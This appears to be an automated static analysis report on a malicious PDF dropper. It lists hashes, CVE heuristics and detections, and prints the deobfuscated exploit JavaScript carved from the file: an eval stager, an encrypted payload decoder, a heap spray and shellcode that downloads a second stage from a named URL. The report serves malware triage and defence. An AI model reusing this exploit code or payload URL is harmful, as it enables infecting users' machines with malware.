Malicious PDF — malware analysis report

Static analysis result for SHA-256 5989277c88e905a2…

MALICIOUS

PDF

40.3 KB First seen: 2012-07-12
MD5: 5861bf04372c74b06058a302e80fcb10 SHA-1: 69580c16c35aa2b36b53e81c8e3175166ad0627b SHA-256: 5989277c88e905a2f662236acbedd6854977d08bf64689b0ca747179136dc362
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains multiple critical heuristic firings indicating it is a dropper. Specifically, it leverages CVE-2007-5659 (Collab.collectEmailInfo) and a PDF annotation subject percent-decoding eval stager to launch embedded JavaScript. This JavaScript, found in legacy_pdfkit_stage_000.js and legacy_pdfkit_stage_001.js, is responsible for downloading and executing a second-stage payload. The presence of U3D content also suggests a potential exploit vector.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var E4CaXu8p2dq = new Array();var b_m6n1i__qfj = 0;var FN_1_GQ0iEk2 = "";function Vu__b_oc(hqMJs__mpql_c, BP4n__WI__tW){var TX_5dT0T6xa = BP4n__WI__tW.toString();var IJ_Vvw_f__m_b_b = "";for(var jah6_dHg_2 = 0; jah6_dHg_2 < TX_5dT0T6xa.length; jah6_dHg_2++) {var cM04_A2O = parseInt(TX_5dT0T6xa.substr(jah6_dHg_2, 1));if (!isNaN(cM04_A2O)) {cM04_A2O = cM04_A2O.toString(16);if (cM04_A2O.length == 1) { cM04_A2O = "0" + cM04_A2O; }else if (cM04_A2O.length != 2) { cM04_A2O = "00"; }IJ_Vvw_f__m_b_b = c …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Dropper.Agent-7262999-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7262999-0
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ueflfjjumlc.com/nte/PROX.php/yH8d9eef0cV0100f060006R87006a76102Tc199b221203l000c Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A4 343 bytes
SHA-256: 1847af0a099665b6ac45af66402e56ed64237a1b287618ee3d6643267fda6f35
Preview script
First 1,000 lines of the extracted script
em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (r && !em) {var z; var y; th = event.target; z = y = th; 
	 y = 0; 	 z['syncAn'+'notS'+'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;var e = th[em + 'e'+ em + 'v'+'al']; e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 12949 bytes
SHA-256: e9fbe39c5f08fd0b5b849d4511ab994eb8828fe403e6fb49372b1bee97aefbd9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function n63DiCR_Pi_QkBc(QY__85u1_Klf, Iaq8___l1){  var lBf1_A5wL_T = 'um' + 'en' + "ts";lBf1_A5wL_T = 'a' + 'rg' + lBf1_A5wL_T;var N_vo78_fs_IF = n63DiCR_Pi_QkBc[lBf1_A5wL_T]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];N_vo78_fs_IF = N_vo78_fs_IF["t"+"oS"+"t"+"r"+"ing"]();var xCf1A__N = 0;try {if (app) {xCf1A__N++;xCf1A__N++;}} catch(e) { }var Um0R_X6_V_G = new Array();if (QY__85u1_Klf) { Um0R_X6_V_G = QY__85u1_Klf;} else {var P83__3A_3 = 0;var Y_v4F___DeH1v = 0;var y_2o_o1548E_6 = 512;var Ht__NbR_53 = 52;Ht__NbR_53 = Ht__NbR_53 - 4;var wqcJ0_od_rq04_e = Ht__NbR_53 + 9;while(Y_v4F___DeH1v < N_vo78_fs_IF.length) {var b2y_B7__d_q_N = 1;var sLe0713_D_N = N_vo78_fs_IF['c'+'h'+'arC'+'odeAt'](Y_v4F___DeH1v);if (sLe0713_D_N <= wqcJ0_od_rq04_e && sLe0713_D_N >= Ht__NbR_53) {if (P83__3A_3 == 4) { P83__3A_3 = 0; }if (isNaN(Um0R_X6_V_G[P83__3A_3])) {Um0R_X6_V_G[P83__3A_3] = 0;}Um0R_X6_V_G[P83__3A_3] += sLe0713_D_N;if (Um0R_X6_V_G[P83__3A_3] > 512) {Um0R_X6_V_G[P83__3A_3] -= y_2o_o1548E_6;}P83__3A_3++;}Y_v4F___DeH1v++;}}P83__3A_3 = 4;for (var eQa_s6D36 = 0; eQa_s6D36 < 4; eQa_s6D36++) {if (Um0R_X6_V_G[eQa_s6D36] > 256) {Um0R_X6_V_G[eQa_s6D36] -= 256;}}var P_7__i6_w = 0;var kHF4G_q05 = "";var jG_py__FF_Sap6 = 0;var j_WE_1_7lL_l2m = 0;var a5d_S___PM;var K5v30D_n_rf_f = 0;while(jG_py__FF_Sap6 < Iaq8___l1.length) {var Hn_UJ0 = Iaq8___l1.substr(jG_py__FF_Sap6, 1) + "Z";var V_ULglN_eb_F = parseInt(Hn_UJ0, 16);if (j_WE_1_7lL_l2m) {a5d_S___PM += V_ULglN_eb_F;if (P_7__i6_w == 4) {P_7__i6_w -= 4;}var OIP_mL7V = a5d_S___PM;OIP_mL7V = OIP_mL7V - (1 + K5v30D_n_rf_f + 1) * Um0R_X6_V_G[P_7__i6_w];if (OIP_mL7V < 0) {          var DA8__482o = 256;OIP_mL7V = OIP_mL7V - Math['floor'](OIP_mL7V / DA8__482o) * 256;}OIP_mL7V = String['from' + 'CharCode'](OIP_mL7V);if (xCf1A__N == 2) {kHF4G_q05 += OIP_mL7V;} else if (xCf1A__N == 1) {kHF4G_q05 += V_ULglN_eb_F;} else {kHF4G_q05 += jG_py__FF_Sap6;}P_7__i6_w++;j_WE_1_7lL_l2m = 0;K5v30D_n_rf_f++;} else {j_WE_1_7lL_l2m = 1;a5d_S___PM = V_ULglN_eb_F * 16;}jG_py__FF_Sap6++;};var abcd=0; ;var WB_2B_G = this;WB_2B_G['ev'+'al'](kHF4G_q05);}
	n63DiCR_Pi_QkBc(0, "C6CABEA33529DB80E8F61C2B6271A1770DB9EA58E745090182128D53D978D628C2E90EC25D8B6630F940A30C96D7B074F0291749D1F748B55E70A56AF7EEF01095943E632DD57A01CBA719E9934159863E799228CF44EAAE7FD4FC53214A6AFAAFE8D99361811722BCC146AB649BAF562702FBF2E49C11AA8632A6EB04B5DF9CB43DFC5726ED79BFCD21A68B64FB0F3627625BD2E4FC76837F84081D192B476F7984A24462F5C1C9EFB73A928F536F163DD8BEB2D225E50F32B32FF11F8F689DB11BAC2D519D0EBEF4098B5A626DADB70014DC9DD1CD3E2E7439BBCAE29DDC27A4614BD854E96893C699E5099C123EDE44A15733DA26D0E56FB5FCB20F0F2B127989C7F95167B882DDB1181A713F7F770DB9EC54E2982DD87E253C7F089C952BA4F9009968B626720543B70FA295FA98382F3B37B8EC87A13C31A534D9D8290D70512DAC6303B92DB8A4F1AB642C31491F8265D3EB48D57F44D0151DFF1D5DA7B3D69C574F56EA0EBE1573AEA49FB96537E1CDC99980519530F99718E091DFA88238FA6F55E37F13F821A17850BED9F74B395FC0A0D9A7504280B4E8D0DF106970744C463D05ACDED1931356506A752343DE7CBCD625D0525DC128EAF14F8F55BC0EFA2A649DF880CDE1562450C890FA1D09F092B19757EF4D11769BE09FDB27CD523602460BAF9EF680E3488F0F2FD9F0763C76BDF59C0E5183036BDBFD4931AFBFC2FA4F5BF77EFDE0461A9248ADD44701E55FD54D11D96F078AA20FA3BF26BD280EC252836464FE48B80350A9B06FF91957F3B9CF87C58688D3710FFC2D06B2886E632DD57A0FB261CF9B79174F6D46D09B19CF44F5AE72D03626D07A96E8C2A9E282607F1B1EEF0063AA688CB6170DD90404BD8F5B8E6F3EA43C1CBCE395C4581F7762DE8606B8329A646BF616F7F88F5BE3DA08A76E6F90E3E30F230EB3B5B7935758F5B5BCB092ED3BAB0D861640E3BFB2CF64073E48F05AABED3D625772C9B7E3669448C9F320835A8F9CA8F63614DCB0D5D17B34305ABA8BD8F3FF77BA6C4B024FF48777EF87B247951B37EB38593D5090F791CF8B712AAA20476346AFC8ABD22854FE3FCDA106EB602F6B774DE2C652C69B3FEE761073980F9FBF297006CC852377182AB057A30B9AD0EF962F582B0BCFEB489A3033C42DD0C8E0F09A8862B96714BE3EEFAE03DD8F2F2B8935CDB125DE05D1996FC74A620F637FE6BDE8CE8252503525050F67CF999CBE171A18E9C9CF964795860885F3F98EE4D78636F82354D45016D27A9CA09DDCE4004B8F5DE590EAA7444072F30AE2DD1D67BEAEA3033147EAE00989E63D592886184299CBA2CF4B004E79C559ABED3D8958B419C2102BAB39D1B0037261A6ACD2101952F4A8DDA0713530197CADFEE31666B282351C280AA55FCD41CD0C941D06C4FEA57D86E40ED61375C903B1D8FF255C80996EAC1915B95CB0AE15E4508899BDF0C1BE41D69B27F189FA8D6325AA80F270FFCCA02D754130F4517AE85ED9F5A5376D44FC90006DCE4541B56A0FCF1BD7AD49496339E6BC4FC68ED2EEA52F638B42817E01D65BE7B189BA4D23256A40B270BD9843223EF32EDF004AB38F96845CF0F6BCDCA1A958655DFFA74012D0F4D9B957332B20A138E1DE67DA9A9206F950088E699CAB22C5515E970A0A123629C088BE99032DF5A9BAF6D0363B5857711F06D8C09BD764DA0F4DB124C6D087A18F8608F00B57940A7FCCE1885A68C4B210083E2982A49374347E58C8D3EB9D0A68B83F4B0738FC9771BB4CADFBAB2331E9F0908B45E3F6BD0E6495036BEDFD644688E08EFC285A056EC4AF4723917F73C634FEBD67988F29F746107873179C92F07E3D1BB664C7616DF70975D159A8F99DF0213342A2F859C46F65B85ADE092515B79D74632DF27810B9611F9B873C228A01AE9B07B434A88C3093040DD02840DEBFBBDF5445740C03DFDC24D8758C85271118FBC5CB87369586309644F9D6B8DCBD46EC4010CC87D10332B99A84D1FF12126762E9CF07C15889690918DBE81BC4BAAA94194F39C0E6EF93E45850326FEC00BABBB2A260D84C3EFD59F91791A8478FC9BCE32A55099AD520592B71ACCFC92B1B0A99E6C46A48596A8CE01DDAC044702B1CD312D07D9EC551C53A8FDF2BB91E9F9272D23EB12848C6216BDBFD314470A66CA52025BA5AD2CF4A318F6FA9A049D1F160905005AF42EC7D91D065880CAFFEDCA44FB42A2DFC46B202A4D5B064F0633D3BA6E48CB77770A634D0C2E0D9794987884FEA8820EFA0D6D6721B568D2FBBB5FCE91DFDBC6D91110BD22D50A98B06E38B59811DE7FA026C918F91985E2FEBBCCF908A47644012932AE28BECCCBE50406B1995930EDF60AA938FF6E43CF044399392CABD31305CB4F00FF21088AFA85E3E5A36E0B5EFC50C828F1F30E2F0AAB9739B25ED4E45C135EA0F4F9B91B111C222547D3FBEC21E5F6591B5A6F634212392A285330C30238FE81FCCFF4DA86855D755B5637CB043A95060DD00A7F2748E78E43ADA1D30C003AAF6355F5084CE8700566A068204EA5329505B678800CBBE1BE3662E0552E28791F869803482281ACB4F864A60B95CBB0399D9F557F86C1D39E6C759E27659A277150B271BB8533E7F5DE7B74DF8A0D5CD91F61092439AA229B216FBB55891FF28D07061EDC6CB9D96565DF33C03E26AD1725EC35D18D9D9B3E3864EA55202A731F88BF3DCB25C407559E37FC7C02DD16D8FFB1836016B5DA2A2CE838175A5091D1EDD5388B6BF6E14633BC0BA0DC73989936179263E99D385DB57074E6FC653EA0F89787278ECC1F64F653E92BCE18D5A98ACCFF606380492A0DC34EF7256849D14D4FF3B7984620462B5849EE055D34D50EAF0A748697F43D3F5CBDF738C2AAC22FD7328B6DF8EB4635BE03FCDA15929958093B840FEA45CCF8D27EE6FE773730F6DD7F08B3F0DD510B957370723BDD395DADF6BF036FC29E5E487D16F80D733F3D2F306808F3F6F1017BD0FC2A5FBDA64F62B8D31CB5C02C05300BB47D02260D03A40FCBEEEDF8651851DE7B2C679946066801C45F2CCCCA06A5D68400A64F0258FB1CCB20E416528AA51C4053A947060B22510004E2C98E5DBA944415609DEE323466CC57F604752FAEDB1C399FD40A51D42ED319ED18BD23AE11485F727F11242B55E850AF2E8659B3E8FC7E6993166B2A7BC453C1E6BA18A7DFF7657BA9025E2023B832E610828FA9C640587EA3F91D245DD369F8238E5F5CBE5717629831212390CC599AFB3241A0D81C8E315E0A53D648F03BEF123A65500B485E94760E862D5F8802CE08865882B34C006B9FE63D0C059F9345234E2A571A07481AA58D0DAE0C9759E457325E57D54C971D9AB5542294705896128A915BD7F3291FF0BD22295C080C29C48654EE8F8C0C679946066801C45F2CCCCA06A5D6045366DF0258DB097810E413856A548C40562957164B22507004C2C98E5D5783F405609DFE0F5426CC5818E1353FAEDB0F398F440A5257218349ED185A03BE01485C858C3E042B55A83D9EFE865650B96C4E699609286A6BC45111E99A38A7DFF48278C9025E3D73FB22E61D324CB99640586BC1069D245A7009A5538E5F598DF407629B1E942320CC59FB2B9281A0D4FC0B749E0A543688700BEF12AA25CFDB485E778611362D52DB6FEE088658D5A30C606B90068D2C85C45290C0CA3AA9D9F4041A4302501F7DFB24E817B20E98F040571D4AE96F2657D319071D8E51ABF8347964923E03157ACC5B99C56563A2D25F1D83980A592B62F32DE11C6A37A4E548509652EE982F598804E2F2865A548CFC126D97392BDE0FC45512FD7D3CABD3F7394C7D025F2127C816EA119280AABA40591F54B641285E700A98C78E53ADE5576B669C0114DA34CC5DEBDF8295A4D97F2F65620A582A3C702FE316BA0993BF48521849E12A2156DB14021C865CC9A77C146F90D9513339C456F7F49A4EADDE64587177025153317838EC1B3285AFA4405B117F36932A58B03FCB318E5572DBF44D68961137394ECC52CE299537A6D2FC81577C0A5A2F267001E5136A1BD89948544A43BE4C235DB8561446865E88B0FC06619B06030203C458E6FE8A00AFD8440A60B10253256EDB6AEE15B2346E8E405D134C16852C52834F0D1B8E575196571F6A9301295B38CC54C0333539A8DD6C2319760A5C3E70D053E71D6A7DC7B348561C8DFE3E2557E828062086508AAB2C386394F635047DC45AB8C83A82A1D2643C358B02552735980CE01F8269B3E8405F6852B6472E5CF030EF558E5953C324216C9A3E0B1D12CC5391CD651BAAD78F458B900A5E206DD365E9148A1F5A0D485891680E602751AB3A081A8652CCC57F2A659F26840657C45FFB123A34A3DC772E64A50256F90FE86EE21C925852B2405447DCE6392056B012D15F8E5B55BD07436E93EE300F5CCC55972A752DACD10C0A309A0A533224A087EB1E3A81CBC7485D4364EE12295B783B9D0486549E823F1C679C16192B21C45EA02C6D26A5D94470869F02595E29CB50E413524AA7DC40565C86B63B2250F324F3298E5D9AA3F735609E015F5426CC5795F1453FAEDB7F2C52840A52572E7049ED1B6A535DB1485C659EC1242B58A83DEC5E8659A0EC4C8E6996196B3D5BC45112199D68A7DFF7525B99025B6D86CB32E61DB51FB9D640558E90B95D245DC029D5438E5F89BE6437629831140610CC59C82B8521A0D51F6B245E0A542608E00BEF129A55AF9B485E14460E962D5FE84FFE488658C2836C406B9CD96A0F15C45301105D6AA9DA54647A93025D3F6DDB34E817951EBB904057708B265F2654D038F9FD8E51BBB8175964921143386ACC5BFD155563A2DF5C5D83880A562802936DE11C7D67A1A5485039900E882F59D8820FC2865A77ED6C026D96F68C4E9FC454F30A6A8CABD454564CDD025F3167D856EA1192308A8A40594F450661285EA00AC8D78E53BDE2240B669BEE650704CC5DCBCF6205A4D92C6F45420A580A8CC02FE3166A0983FF485248A9EE0A2153A873F1DC865C86972C646F90E62E0009C456F4F48A4EADDE24984E5702513321A898EC1B62228CA4405B416EE6132A58A03CCAC18E558F8C573D6895EE07090ECC5F9DC9923773360005172F18FBCEF90362BFC1090FA96D48374D57B15C50A069D5F6B944F1BCE16E169EDAC943D2664FC79A012A85CCAC848D6413AE42649C2C6EADE43458EEBF0E5D963C68F8C826402D9D9B3A0BD1C5F400164FBEBD3E1D97056437B61A577D0066DBB7C9DADEDF71F696AEBDCDCA75D855F00101E2454AF70734C152B4BD9F1B0CEF67A9E556FE822DA7C90905A212241E62CEA1B7C9F59BDDBACF0105D45D60832545A61C3DCEE1146E763E89840F84B6495D126BFD17AB6510CE010E36F70C053C603A3EE36ED126A8F79B8F1881C42B022B30F0E524879A4C2E46215FF89EFC417EE722D6D77F8E5DB43A4743AAF3DD144A3E46D90F780F9D59245CE2B30E519A3068FCCC2A402344242E2A550E571839464E00338FCC98842B210F2780FCB61FDAB964545902F8FABD3AC05EFB96FB4071EF23840E080EFE4786974EE2EBBCC2D7BAB72843A311111CBE0774CA06B2A643128B2F9C6865829232D958BE0F677A66CA3F3F8F7FB394BC3DE1DB4466F7F09E62D3A46BCBEACA04C5F4398C9F3C01A8EA85F6F1633EE847CEB7B096130F853EAE450765AC3F2AC001057FA9AF630961B58B7D1FF0638207BD7C43AEF4D1184A6D0E7016F866850EB57F46A5FCC41B50D6BCD3AD8386F7B77B82CC7E13B7CDD6B2B445F46849C82B6633EB84ACDA15929958093B840FEA415959AF8F2401439A0E0A0902A72F2E7E066B66A1F04407CFA67E1B074F01BFE0ED6F49A8F387BD573E6FC24EFB7883E632DD5881AB0AB05E3662C545F37B86ED3AC05BF8440ACF455116556E6B4D1D3822240E3E8B01C78BA688C876BF0E4D9B3D7A447634307673EF998FDDBB8523F3153E4840BF163B7AF9FFF15F70D393FE2DC11A9713E9403171C2243BB95B68D4C5C1EE6E5FF893F8EA54F7AF1F09B7E7F90721B564AB168EAE87C779BCDD2C72460A506C2FC26856D84B6DDFC1F4E305BD2C475057E22BDCA0FEE06717944690965039BB3F990F2FB96F32FBD06B29472A3EDC0048099E8B013236351AFBCB2E2521E1395F1F304FC8F7E76882FD1B013AD452AEE7DE7825C199CBF38B633E7CC56752027E836B4E364D2F37D33633B26D6E48A8F4E4E9443D0C3E6C7A87E7C8B241ABB25F3AB03CE962C52370C7974E1A116B16F8CEDF443056D68BBB5ECB2865A740B25EF03249750647E28F9D9170AA2B03A8E6F30692A0FBCEC9F9B11FE361C953AC40531C76B93B2250733495F959CC5A0648079C810130343B1AF9C924252FEB3E000D1F26089225A1826ADB4B2CF3B0B3530CE14D5137C969AC81BEB2253AA13C1EF2E5A6961B6CFF6413F2653AD85693F801FC7D024D10974B558611718B799AF004FC93465F731CD04917B72A628AED73973E06BE1063B6470D2B2A3184DED8FD8B5491E76709AB623FFDB559061E8C63EE24654D0B8C63CBE2C20CC5FC31863EF4088FA8FCCC768404F41FB99A5A3E3828A948627CF2BF9AF886B784F14B74BC88CCCAD62F91039F5CE6C16A048ADC440D4044ED22940DFA5F9B4575578FE22FA0057C18F8F7932461A0EB3B3A41B8E6F01A32AE3BCE5878D09F93368AC5BE5D347A78174C8243F398C2ADAD519897D7EA0081ED8003F7AAFA85C524F08D7E4BC81077A634C6FE73FD88FB2D531C8326FC453EAE08C9F5AAF0EB8E333940BBEEFF1935A63ACD5C00B56DC96D1D96B3738567D8B2BE00F75C37858081E05AAA8FE95F04958CF31E53EA89086902AE01275C128B41F4B204CC2DBBBF5121ED33F0DFE481A8F518FB62FD0AD63C68AF0B84B2E8B5D1B8FBF26AFFE0BC24FC1304AB81277C7508FB5AC005C0C3695FA58D240749637D0F51517985D71A63618C23EE3A703DD5908597DF0817D12E12BB9AE48A5FD0B2B5E90F77EECD88851870C28FD0653D0A455915641FFCDF2A879116A8D4EAA2C227DE2CC801B305A4FA938DCB0319FB191FFD0303E8833C3CF17A76E8551D1CB112D5075C0B5A14A3943EBBAF6D0363B58637129F0E4A1C5D864F94740D62CE3D05A60578BC9F708629D37B0E8F16933886DACB729472B6AC0C47A2E6F6682D715EB077BB8440C0E3507A09EE179B4206805FBA2F9599789D13788F243B0137E1EFD3D07A9D7BBBA40540A7EEFF63F26757F98B621F1AC38A87D25BD8616869E19ACCE02B92FCC8B3388575EC34F64D950CFF567025D3332A4AE48EA3073D93BE20117068449496333E8B73EC3AFDF9BAD4A597DF0819D23E013FEB875E8395D066292FAB9F8DA432D52D8F8BED2348E50537617321ECCC5D49C4763300D5404DE8EB39070642E6820A77CF6EF35847850C6DE08035479DCD6C570303893F9DBE22137A68469680329F5F4FBB0C3294B6251671604999A90903ED62139B17007D03D604771D1EE2820673CB6EFF54437508590134CF91E98A0976C266F2574A9ED9DD835814015C36C11585FB041A503921200A934907B47900188E630CD306B12423019B4C0ABB71033D53FC7AF15EF593650D236DFDB39A69E40EE43D97690E06FC41EAFFDD59E6D");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 5413 bytes
SHA-256: 771d4e514a6f53ab693abd09f15f38c2a62a11f53c8328c345954fe31ad52ccd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var E4CaXu8p2dq = new Array();var b_m6n1i__qfj = 0;var FN_1_GQ0iEk2 = "";function Vu__b_oc(hqMJs__mpql_c, BP4n__WI__tW){var TX_5dT0T6xa = BP4n__WI__tW.toString();var IJ_Vvw_f__m_b_b = "";for(var jah6_dHg_2 = 0; jah6_dHg_2 < TX_5dT0T6xa.length; jah6_dHg_2++) {var cM04_A2O = parseInt(TX_5dT0T6xa.substr(jah6_dHg_2, 1));if (!isNaN(cM04_A2O)) {cM04_A2O = cM04_A2O.toString(16);if (cM04_A2O.length == 1) { cM04_A2O = "0" + cM04_A2O; }else if (cM04_A2O.length != 2) { cM04_A2O = "00"; }IJ_Vvw_f__m_b_b = cM04_A2O + IJ_Vvw_f__m_b_b;}}while(IJ_Vvw_f__m_b_b.length < 8) { IJ_Vvw_f__m_b_b = "0" + IJ_Vvw_f__m_b_b; }var v_pjc____O8_f = hqMJs__mpql_c.toString(16);if (v_pjc____O8_f.length == 1) { v_pjc____O8_f = "0" + v_pjc____O8_f; }else if (v_pjc____O8_f.length != 2) { v_pjc____O8_f = "00"; }IJ_Vvw_f__m_b_b = "3" + v_pjc____O8_f + "P" + IJ_Vvw_f__m_b_b;return IJ_Vvw_f__m_b_b;}function J_M6_Q_fv7Q(I1dp6M, d_8wBy8emO4){var E_50A__2 = new Array("");var oO_FX_i4e = I1dp6M;var BNfv_byIy8um;if ((BNfv_byIy8um = I1dp6M.lastIndexOf("%u00")) != -1) {if (BNfv_byIy8um + 6 == I1dp6M.length) {E_50A__2[0] = I1dp6M.substr(BNfv_byIy8um + 4, 2);oO_FX_i4e = I1dp6M.substring(0, BNfv_byIy8um);}}BNfv_byIy8um = 1;for (jah6_dHg_2 = 0; jah6_dHg_2 < d_8wBy8emO4.length; jah6_dHg_2++) {var Wo2s1U_TDO = d_8wBy8emO4.charCodeAt(jah6_dHg_2).toString(16);if (Wo2s1U_TDO.length == 1) { Wo2s1U_TDO = "0" + Wo2s1U_TDO; }E_50A__2[BNfv_byIy8um] = Wo2s1U_TDO;BNfv_byIy8um++;}jah6_dHg_2 = E_50A__2[0].length ? 0 : 1;E_50A__2[BNfv_byIy8um] = "00";E_50A__2[BNfv_byIy8um + 1] = "00";BNfv_byIy8um += 2;if ((E_50A__2.length - jah6_dHg_2) % 2) {E_50A__2[BNfv_byIy8um] = "00";}while(jah6_dHg_2 < E_50A__2.length) {oO_FX_i4e += "%u" + E_50A__2[jah6_dHg_2 + 1] + E_50A__2[jah6_dHg_2];jah6_dHg_2 += 2;}oO_FX_i4e += "%u0000";return oO_FX_i4e;}function N7102B(sAfvB1sfH, m2_nh_1Ra){while (sAfvB1sfH.length*2<m2_nh_1Ra) {sAfvB1sfH += sAfvB1sfH;}sAfvB1sfH = sAfvB1sfH.substring(0,m2_nh_1Ra/2);return sAfvB1sfH;}function w2kR___5___l8K(C53_0f3, i_h___6_H_0w, be02dW_4){var L_P4Or = 0x0c0c0c0c;var sAfvB1sfH = unescape(i_h___6_H_0w);var d_8wBy8emO4 = Vu__b_oc(C53_0f3, be02dW_4);var OPnxl7_Nu = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var I1dp6M = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5070%u6551%u0059%u7468%u7074%u2f3a%u752f%u6665%u666c%u